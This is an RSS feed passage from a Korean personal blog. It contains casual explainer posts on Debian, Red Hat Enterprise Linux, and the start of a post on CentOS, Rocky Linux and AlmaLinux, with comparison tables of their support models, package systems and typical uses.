<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>이삭이의 토스트 공장</title>
    <link>https://toastfactory.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Sat, 27 Jun 2026 06:05:29 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>isaacToast</managingEditor>
    <image>
      <title>이삭이의 토스트 공장</title>
      <url>https://tistory1.daumcdn.net/tistory/3744286/attach/0b7b2be963914918b37bf0ea618fdc1d</url>
      <link>https://toastfactory.tistory.com</link>
    </image>
    <item>
      <title>[보안_GPT] Debian이란?</title>
      <link>https://toastfactory.tistory.com/385</link>
      <description>&lt;p data-end=&quot;113&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;**Debian(데비안)**은 가장 오래되고 안정적인 &lt;b&gt;오픈소스 리눅스 배포판(Distribution)&lt;/b&gt; 중 하나로,&lt;br /&gt;여러 리눅스들의 **&amp;ldquo;근본(원조)&amp;rdquo;**이라고 불릴 만큼 영향력이 큰 리눅스야.&lt;/p&gt;
&lt;p data-end=&quot;207&quot; data-start=&quot;115&quot; data-ke-size=&quot;size16&quot;&gt;특히 &lt;b&gt;Ubuntu(우분투)는 Debian 기반&lt;/b&gt;으로 만들어졌고, 전 세계 많은 배포판들이 Debian을 토대로 나온 만큼 리눅스 생태계에서 매우 중요한 OS야.&lt;/p&gt;
&lt;hr data-end=&quot;212&quot; data-start=&quot;209&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;232&quot; data-start=&quot;214&quot;&gt;  &lt;b&gt;Debian이란?&lt;/b&gt;&lt;/h1&gt;
&lt;blockquote data-end=&quot;277&quot; data-start=&quot;234&quot; data-ke-style=&quot;style1&quot;&gt;
&lt;p data-end=&quot;277&quot; data-start=&quot;236&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;전적으로 커뮤니티(자원봉사자)가 개발&amp;middot;운영하는 오픈소스 리눅스 OS&lt;/b&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-end=&quot;349&quot; data-start=&quot;279&quot; data-ke-size=&quot;size16&quot;&gt;1993년에 시작되어 30년 넘게 유지되고 있으며,&lt;br /&gt;가장 &lt;b&gt;믿을 수 있고 안정적인 리눅스 배포판&lt;/b&gt; 중 하나로 평가받아.&lt;/p&gt;
&lt;hr data-end=&quot;354&quot; data-start=&quot;351&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;378&quot; data-start=&quot;356&quot;&gt;  &lt;b&gt;Debian의 주요 특징&lt;/b&gt;&lt;/h1&gt;
&lt;h3 data-end=&quot;402&quot; data-start=&quot;380&quot; data-ke-size=&quot;size23&quot;&gt;1️⃣ &lt;b&gt;최고 수준의 안정성&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;466&quot; data-start=&quot;403&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;432&quot; data-start=&quot;403&quot;&gt;서버용 리눅스 중에서도 가장 안정적이라고 평가&lt;/li&gt;
&lt;li data-end=&quot;466&quot; data-start=&quot;433&quot;&gt;업데이트가 매우 신중하게 이뤄져서 기업 환경에서도 안정적&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;496&quot; data-start=&quot;468&quot; data-ke-size=&quot;size23&quot;&gt;2️⃣ &lt;b&gt;커뮤니티 지향(기업 종속 X)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;573&quot; data-start=&quot;497&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;551&quot; data-start=&quot;497&quot;&gt;Red Hat처럼 기업 지원이 아닌&lt;br /&gt;&lt;b&gt;전 세계 오픈소스 기여자들이 만든 배포판&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;573&quot; data-start=&quot;552&quot;&gt;완전히 자유로운 오픈소스 정책 유지&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;597&quot; data-start=&quot;575&quot; data-ke-size=&quot;size23&quot;&gt;3️⃣ &lt;b&gt;Ubuntu의 기반&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;670&quot; data-start=&quot;598&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;642&quot; data-start=&quot;598&quot;&gt;Ubuntu Desktop / Server는 Debian을 기반으로 제작&lt;/li&gt;
&lt;li data-end=&quot;670&quot; data-start=&quot;643&quot;&gt;많은 패키지와 설정이 Debian 표준을 따름&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;694&quot; data-start=&quot;672&quot; data-ke-size=&quot;size23&quot;&gt;4️⃣ &lt;b&gt;APT 패키지 사용&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;747&quot; data-start=&quot;695&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;724&quot; data-start=&quot;695&quot;&gt;패키지 관리 시스템: apt, dpkg&lt;/li&gt;
&lt;li data-end=&quot;747&quot; data-start=&quot;725&quot;&gt;모든 패키지가 안정성 중심으로 검증됨&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;772&quot; data-start=&quot;749&quot; data-ke-size=&quot;size23&quot;&gt;5️⃣ &lt;b&gt;보안 및 지속적 관리&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;829&quot; data-start=&quot;773&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;813&quot; data-start=&quot;773&quot;&gt;Debian Security Team이 즉각적으로 보안 패치 제공&lt;/li&gt;
&lt;li data-end=&quot;829&quot; data-start=&quot;814&quot;&gt;안정성과 보안 모두 강점&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;834&quot; data-start=&quot;831&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;850&quot; data-start=&quot;836&quot;&gt;⭐ Debian의 장점&lt;/h1&gt;
&lt;p data-end=&quot;960&quot; data-start=&quot;852&quot; data-ke-size=&quot;size16&quot;&gt;✔ &lt;b&gt;최고 안정성&lt;/b&gt;&lt;br /&gt;✔ &lt;b&gt;자유 오픈소스(라이선스 순수)&lt;/b&gt;&lt;br /&gt;✔ &lt;b&gt;가벼움 + 최소 구성 가능&lt;/b&gt;&lt;br /&gt;✔ &lt;b&gt;수천 개의 패키지 지원&lt;/b&gt;&lt;br /&gt;✔ &lt;b&gt;서버/IoT/임베디드 환경에 적합&lt;/b&gt;&lt;/p&gt;
&lt;hr data-end=&quot;965&quot; data-start=&quot;962&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;982&quot; data-start=&quot;967&quot;&gt;⚠️ Debian의 단점&lt;/h1&gt;
&lt;p data-end=&quot;1030&quot; data-start=&quot;984&quot; data-ke-size=&quot;size16&quot;&gt;✘ 업데이트 느림&lt;br /&gt;(안정성을 위해 검증 과정이 길어서 최신 기능은 늦게 적용됨)&lt;/p&gt;
&lt;p data-end=&quot;1076&quot; data-start=&quot;1032&quot; data-ke-size=&quot;size16&quot;&gt;✘ 초보자 친화성은 Ubuntu보다 떨어짐&lt;br /&gt;(설치/기본 UI가 다소 투박함)&lt;/p&gt;
&lt;hr data-end=&quot;1081&quot; data-start=&quot;1078&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1104&quot; data-start=&quot;1083&quot;&gt;  Debian은 어디에 쓰일까?&lt;/h1&gt;
&lt;p data-end=&quot;1304&quot; data-start=&quot;1106&quot; data-ke-size=&quot;size16&quot;&gt;✔ &lt;b&gt;웹 서버&lt;/b&gt; (Nginx/Apache)&lt;br /&gt;✔ &lt;b&gt;DB 서버&lt;/b&gt; (MySQL, MariaDB, PostgreSQL)&lt;br /&gt;✔ &lt;b&gt;클라우드 서버&lt;/b&gt;&lt;br /&gt;✔ &lt;b&gt;IoT/임베디드 리눅스 기기&lt;/b&gt;&lt;br /&gt;✔ &lt;b&gt;보안 연구 실습 환경&lt;/b&gt;&lt;br /&gt;✔ &lt;b&gt;Docker 베이스 이미지&lt;/b&gt;&lt;br /&gt;(많은 공식 Docker 이미지의 기반이 Debian 또는 Alpine임)&lt;/p&gt;
&lt;hr data-end=&quot;1309&quot; data-start=&quot;1306&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1327&quot; data-start=&quot;1311&quot;&gt;RHEL 계열과 비교하면?&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;구분DebianRHEL(Rocky/Alma 포함)
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;1580&quot; data-start=&quot;1329&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;1580&quot; data-start=&quot;1412&quot;&gt;
&lt;tr data-end=&quot;1456&quot; data-start=&quot;1412&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1417&quot; data-start=&quot;1412&quot;&gt;철학&lt;/td&gt;
&lt;td data-end=&quot;1435&quot; data-start=&quot;1417&quot; data-col-size=&quot;sm&quot;&gt;완전 오픈소스 커뮤니티 중심&lt;/td&gt;
&lt;td data-end=&quot;1456&quot; data-start=&quot;1435&quot; data-col-size=&quot;sm&quot;&gt;기업 중심 안정성 + 유료 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1482&quot; data-start=&quot;1457&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1463&quot; data-start=&quot;1457&quot;&gt;패키지&lt;/td&gt;
&lt;td data-end=&quot;1472&quot; data-start=&quot;1463&quot; data-col-size=&quot;sm&quot;&gt;APT 기반&lt;/td&gt;
&lt;td data-end=&quot;1482&quot; data-start=&quot;1472&quot; data-col-size=&quot;sm&quot;&gt;RPM 기반&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1516&quot; data-start=&quot;1483&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1490&quot; data-start=&quot;1483&quot;&gt;업데이트&lt;/td&gt;
&lt;td data-end=&quot;1501&quot; data-start=&quot;1490&quot; data-col-size=&quot;sm&quot;&gt;느리지만 안정적&lt;/td&gt;
&lt;td data-end=&quot;1516&quot; data-start=&quot;1501&quot; data-col-size=&quot;sm&quot;&gt;정기적, 검증된 패치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1540&quot; data-start=&quot;1517&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1523&quot; data-start=&quot;1517&quot;&gt;안정성&lt;/td&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1531&quot; data-start=&quot;1523&quot;&gt;매우 높음&lt;/td&gt;
&lt;td data-end=&quot;1540&quot; data-start=&quot;1531&quot; data-col-size=&quot;sm&quot;&gt;매우 높음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1580&quot; data-start=&quot;1541&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1551&quot; data-start=&quot;1541&quot;&gt;비즈니스 사용&lt;/td&gt;
&lt;td data-end=&quot;1567&quot; data-start=&quot;1551&quot; data-col-size=&quot;sm&quot;&gt;중소기업&amp;middot;개발 서버 중심&lt;/td&gt;
&lt;td data-end=&quot;1580&quot; data-start=&quot;1567&quot; data-col-size=&quot;sm&quot;&gt;대기업&amp;middot;금융&amp;middot;공공&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;1585&quot; data-start=&quot;1582&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1598&quot; data-start=&quot;1587&quot;&gt;  한 줄 요약&lt;/h1&gt;
&lt;blockquote data-end=&quot;1677&quot; data-start=&quot;1600&quot; data-ke-style=&quot;style1&quot;&gt;
&lt;p data-end=&quot;1677&quot; data-start=&quot;1602&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Debian = 안정성 최고, 오픈소스의 교과서 같은 리눅스&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Ubuntu = Debian을 좀 더 쉽게 만든 버전&lt;/b&gt;&lt;/p&gt;
&lt;/blockquote&gt;</description>
      <category>2. 보안/3. 시스템 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/385</guid>
      <comments>https://toastfactory.tistory.com/385#entry385comment</comments>
      <pubDate>Tue, 18 Nov 2025 15:28:07 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] RHEL(Red Hat Enterprise Linux)란?</title>
      <link>https://toastfactory.tistory.com/384</link>
      <description>&lt;p data-end=&quot;127&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;**Red Hat Enterprise Linux(RHEL)**은 &lt;b&gt;기업용(엔터프라이즈) 상업 리눅스 운영체제&lt;/b&gt;로,&lt;br /&gt;전 세계 대기업&amp;middot;금융&amp;middot;공공기관&amp;middot;IDC&amp;middot;클라우드 환경에서 가장 많이 사용하는 &lt;b&gt;프리미엄 리눅스 OS&lt;/b&gt;야.&lt;/p&gt;
&lt;p data-end=&quot;204&quot; data-start=&quot;129&quot; data-ke-size=&quot;size16&quot;&gt;CentOS / Rocky / Alma가 RHEL과 &amp;ldquo;호환되는 무료 OS&amp;rdquo;라면,&lt;br /&gt;&lt;b&gt;RHEL은 그 원본이자 정식 상업 버전&lt;/b&gt;이야.&lt;/p&gt;
&lt;hr data-end=&quot;209&quot; data-start=&quot;206&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;252&quot; data-start=&quot;211&quot;&gt;  &lt;b&gt;RHEL(Red Hat Enterprise Linux)란?&lt;/b&gt;&lt;/h1&gt;
&lt;h3 data-end=&quot;300&quot; data-start=&quot;254&quot; data-ke-size=&quot;size23&quot;&gt;✔ 미국 Red Hat(레드햇)사가 만든 &lt;b&gt;상용(유료) 리눅스 OS&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;411&quot; data-start=&quot;301&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;327&quot; data-start=&quot;301&quot;&gt;기업 서버&amp;middot;데이터센터&amp;middot;보안 환경에서 사용&lt;/li&gt;
&lt;li data-end=&quot;379&quot; data-start=&quot;328&quot;&gt;매우 안정적이고, 보안 패치가 빠르고, 공식 기술지원(Support)을 받을 수 있음&lt;/li&gt;
&lt;li data-end=&quot;411&quot; data-start=&quot;380&quot;&gt;정부기관과 금융권에서 필수적으로 사용하는 경우가 많음&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;441&quot; data-start=&quot;413&quot; data-ke-size=&quot;size23&quot;&gt;✔ CentOS가 무료 RHEL이었다면,&lt;/h3&gt;
&lt;p data-end=&quot;544&quot; data-start=&quot;445&quot; data-ke-size=&quot;size16&quot;&gt;지금은 **RHEL &amp;rarr; CentOS Stream(테스트용)**로 정책이 바뀌었고,&lt;br /&gt;기업들은 대신 &lt;b&gt;Rocky Linux / AlmaLinux&lt;/b&gt;를 사용하기 시작한 것.&lt;/p&gt;
&lt;hr data-end=&quot;549&quot; data-start=&quot;546&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;571&quot; data-start=&quot;551&quot;&gt;  &lt;b&gt;RHEL의 핵심 특징&lt;/b&gt;&lt;/h1&gt;
&lt;h3 data-end=&quot;598&quot; data-start=&quot;573&quot; data-ke-size=&quot;size23&quot;&gt;1️⃣ &lt;b&gt;엔터프라이즈 수준 안정성&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;652&quot; data-start=&quot;599&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;620&quot; data-start=&quot;599&quot;&gt;수천 곳 기업에서 검증된 신뢰성&lt;/li&gt;
&lt;li data-end=&quot;652&quot; data-start=&quot;621&quot;&gt;핵심 서비스(DB, ERP, WAS 등) 운영에 적합&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;676&quot; data-start=&quot;654&quot; data-ke-size=&quot;size23&quot;&gt;2️⃣ &lt;b&gt;장기 지원(LTS)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;725&quot; data-start=&quot;677&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;725&quot; data-start=&quot;677&quot;&gt;버전 하나당 &lt;b&gt;10년 이상의 지원기간&lt;/b&gt;&lt;br /&gt;(보안 패치 + 성능 패치 지속)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;754&quot; data-start=&quot;727&quot; data-ke-size=&quot;size23&quot;&gt;3️⃣ &lt;b&gt;Red Hat 공식 기술지원&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;825&quot; data-start=&quot;755&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;782&quot; data-start=&quot;755&quot;&gt;장애 발생 시 레드햇 엔지니어가 직접 지원&lt;/li&gt;
&lt;li data-end=&quot;805&quot; data-start=&quot;783&quot;&gt;SLA 수준에 따라 24/7 대응&lt;/li&gt;
&lt;li data-end=&quot;825&quot; data-start=&quot;806&quot;&gt;보안 이슈도 신속하게 패치 제공&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;852&quot; data-start=&quot;827&quot; data-ke-size=&quot;size23&quot;&gt;4️⃣ &lt;b&gt;SELinux 기본 포함&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;887&quot; data-start=&quot;853&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;887&quot; data-start=&quot;853&quot;&gt;강력한 접근 통제 보안 시스템(보안 담당자들이 자주 만짐)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;920&quot; data-start=&quot;889&quot; data-ke-size=&quot;size23&quot;&gt;5️⃣ &lt;b&gt;RPM(YUM/DNF) 패키지 기반&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;971&quot; data-start=&quot;921&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;954&quot; data-start=&quot;921&quot;&gt;Rocky&amp;middot;Alma&amp;middot;CentOS와 동일한 패키지 구조&lt;/li&gt;
&lt;li data-end=&quot;971&quot; data-start=&quot;955&quot;&gt;서버 환경에서 매우 안정적&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;997&quot; data-start=&quot;973&quot; data-ke-size=&quot;size23&quot;&gt;6️⃣ &lt;b&gt;보안 인증/규정에 적합&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1067&quot; data-start=&quot;998&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1035&quot; data-start=&quot;998&quot;&gt;여러 국제 보안 인증(Common Criteria 등) 지원&lt;/li&gt;
&lt;li data-end=&quot;1067&quot; data-start=&quot;1036&quot;&gt;금융권&amp;middot;공공기관 규정에서 RHEL 요구하는 곳도 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1072&quot; data-start=&quot;1069&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1101&quot; data-start=&quot;1074&quot;&gt;  &lt;b&gt;RHEL이 실제로 많이 쓰이는 곳&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;1240&quot; data-start=&quot;1103&quot; data-ke-size=&quot;size16&quot;&gt;✔ 은행 &amp;middot; 카드사 &amp;middot; 보험사&lt;br /&gt;✔ 공공기관 데이터센터&lt;br /&gt;✔ 대기업 IDC 서버&lt;br /&gt;✔ 제조/물류 ERP 서버&lt;br /&gt;✔ 미션 크리티컬(중단되면 큰 손해 발생) 시스템&lt;br /&gt;✔ Cloud 환경(AWS, Azure, GCP에도 RHEL 이미지 있음)&lt;/p&gt;
&lt;hr data-end=&quot;1245&quot; data-start=&quot;1242&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1287&quot; data-start=&quot;1247&quot;&gt;  RHEL vs Rocky Linux vs AlmaLinux 비교&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;항목RHELRocky LinuxAlmaLinux
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;1599&quot; data-start=&quot;1289&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;1599&quot; data-start=&quot;1375&quot;&gt;
&lt;tr data-end=&quot;1400&quot; data-start=&quot;1375&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1380&quot; data-start=&quot;1375&quot;&gt;비용&lt;/td&gt;
&lt;td data-end=&quot;1389&quot; data-start=&quot;1380&quot; data-col-size=&quot;sm&quot;&gt;유료(비쌈)&lt;/td&gt;
&lt;td data-end=&quot;1394&quot; data-start=&quot;1389&quot; data-col-size=&quot;sm&quot;&gt;무료&lt;/td&gt;
&lt;td data-end=&quot;1400&quot; data-start=&quot;1394&quot; data-col-size=&quot;sm&quot;&gt;무료&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1458&quot; data-start=&quot;1401&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1406&quot; data-start=&quot;1401&quot;&gt;용도&lt;/td&gt;
&lt;td data-end=&quot;1425&quot; data-start=&quot;1406&quot; data-col-size=&quot;sm&quot;&gt;금융/공공/대기업 핵심 시스템&lt;/td&gt;
&lt;td data-end=&quot;1445&quot; data-start=&quot;1425&quot; data-col-size=&quot;sm&quot;&gt;기업 서버 &amp;middot; CentOS 후계&lt;/td&gt;
&lt;td data-end=&quot;1458&quot; data-start=&quot;1445&quot; data-col-size=&quot;sm&quot;&gt;클라우드/컨테이너&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1487&quot; data-start=&quot;1459&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1465&quot; data-start=&quot;1459&quot;&gt;안정성&lt;/td&gt;
&lt;td data-end=&quot;1470&quot; data-start=&quot;1465&quot; data-col-size=&quot;sm&quot;&gt;최고&lt;/td&gt;
&lt;td data-end=&quot;1478&quot; data-start=&quot;1470&quot; data-col-size=&quot;sm&quot;&gt;매우 높음&lt;/td&gt;
&lt;td data-end=&quot;1487&quot; data-start=&quot;1478&quot; data-col-size=&quot;sm&quot;&gt;매우 높음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1533&quot; data-start=&quot;1488&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1495&quot; data-start=&quot;1488&quot;&gt;기술지원&lt;/td&gt;
&lt;td data-end=&quot;1512&quot; data-start=&quot;1495&quot; data-col-size=&quot;sm&quot;&gt;Red Hat 직원이 직접&lt;/td&gt;
&lt;td data-end=&quot;1522&quot; data-start=&quot;1512&quot; data-col-size=&quot;sm&quot;&gt;커뮤니티 중심&lt;/td&gt;
&lt;td data-end=&quot;1533&quot; data-start=&quot;1522&quot; data-col-size=&quot;sm&quot;&gt;재단+커뮤니티&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1560&quot; data-start=&quot;1534&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1544&quot; data-start=&quot;1534&quot;&gt;SELinux&lt;/td&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1549&quot; data-start=&quot;1544&quot;&gt;기본&lt;/td&gt;
&lt;td data-end=&quot;1554&quot; data-start=&quot;1549&quot; data-col-size=&quot;sm&quot;&gt;포함&lt;/td&gt;
&lt;td data-end=&quot;1560&quot; data-start=&quot;1554&quot; data-col-size=&quot;sm&quot;&gt;포함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1599&quot; data-start=&quot;1561&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1568&quot; data-start=&quot;1561&quot;&gt;업데이트&lt;/td&gt;
&lt;td data-end=&quot;1576&quot; data-start=&quot;1568&quot; data-col-size=&quot;sm&quot;&gt;가장 먼저&lt;/td&gt;
&lt;td data-end=&quot;1587&quot; data-start=&quot;1576&quot; data-col-size=&quot;sm&quot;&gt;RHEL 따라감&lt;/td&gt;
&lt;td data-end=&quot;1599&quot; data-start=&quot;1587&quot; data-col-size=&quot;sm&quot;&gt;RHEL 따라감&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;1604&quot; data-start=&quot;1601&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1625&quot; data-start=&quot;1606&quot;&gt;⭐ 보안 담당자 관점 핵심 요약&lt;/h1&gt;
&lt;blockquote data-end=&quot;1707&quot; data-start=&quot;1627&quot; data-ke-style=&quot;style1&quot;&gt;
&lt;p data-end=&quot;1707&quot; data-start=&quot;1629&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;RHEL = 가장 안정적이고, 기업에서 돈 주고 사용하는 상업용 리눅스&lt;/b&gt;&lt;br /&gt;때문에 정책&amp;middot;보안&amp;middot;패치&amp;middot;호환성&amp;middot;지원이 모두 최고 수준.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-end=&quot;1713&quot; data-start=&quot;1709&quot; data-ke-size=&quot;size16&quot;&gt;반대로:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1806&quot; data-start=&quot;1715&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1746&quot; data-start=&quot;1715&quot;&gt;회사가 비용 절감 &amp;rarr; &lt;b&gt;Rocky Linux&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;1780&quot; data-start=&quot;1747&quot;&gt;클라우드/개발 환경 중심 &amp;rarr; &lt;b&gt;AlmaLinux&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;1806&quot; data-start=&quot;1781&quot;&gt;금융/공공/핵심 시스템 &amp;rarr; &lt;b&gt;RHEL&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>2. 보안/3. 시스템 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/384</guid>
      <comments>https://toastfactory.tistory.com/384#entry384comment</comments>
      <pubDate>Tue, 18 Nov 2025 15:27:05 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] CentOS / Rocky Linux / AlmaLinux 란?</title>
      <link>https://toastfactory.tistory.com/383</link>
      <description>&lt;p data-end=&quot;143&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;CentOS / Rocky Linux / AlmaLinux는 모두 &lt;b&gt;RHEL(Red Hat Enterprise Linux)&lt;/b&gt; 계열의 리눅스 배포판이야.&lt;br /&gt;즉, &lt;b&gt;기업용 서버에 최적화된 리눅스&lt;/b&gt;들이고, 실제 회사 서버에서 가장 많이 쓰이는 계열이야.&lt;/p&gt;
&lt;p data-end=&quot;209&quot; data-start=&quot;145&quot; data-ke-size=&quot;size16&quot;&gt;아래에 &lt;b&gt;왜 이렇게 세 종류가 생겼는지&lt;/b&gt;, &lt;b&gt;무엇이 다른지&lt;/b&gt;, &lt;b&gt;실무에서 언제 쓰는지&lt;/b&gt; 쉽게 정리해줄게.&lt;/p&gt;
&lt;hr data-end=&quot;214&quot; data-start=&quot;211&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;253&quot; data-start=&quot;216&quot;&gt;  1) &lt;b&gt;CentOS란? (현재는 사실상 종료된 OS)&lt;/b&gt;&lt;/h1&gt;
&lt;h3 data-end=&quot;286&quot; data-start=&quot;255&quot; data-ke-size=&quot;size23&quot;&gt;✔ &lt;b&gt;RHEL 기반, 완전 무료 서버용 OS&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;348&quot; data-start=&quot;287&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;310&quot; data-start=&quot;287&quot;&gt;원래 리눅스 서버 시장에서 점유율 1위&lt;/li&gt;
&lt;li data-end=&quot;348&quot; data-start=&quot;311&quot;&gt;안정성&amp;middot;호환성&amp;middot;기업용 성능이 좋아서 전 세계에서 강세였던 리눅스&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;395&quot; data-start=&quot;350&quot; data-ke-size=&quot;size23&quot;&gt;✔ 하지만 &lt;b&gt;2021년에 Red Hat이 CentOS 지원 종료 발표&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;486&quot; data-start=&quot;396&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;443&quot; data-start=&quot;396&quot;&gt;기존 CentOS &amp;rarr; &lt;b&gt;CentOS Stream&lt;/b&gt;(불안정한 테스트용)으로 바뀜&lt;/li&gt;
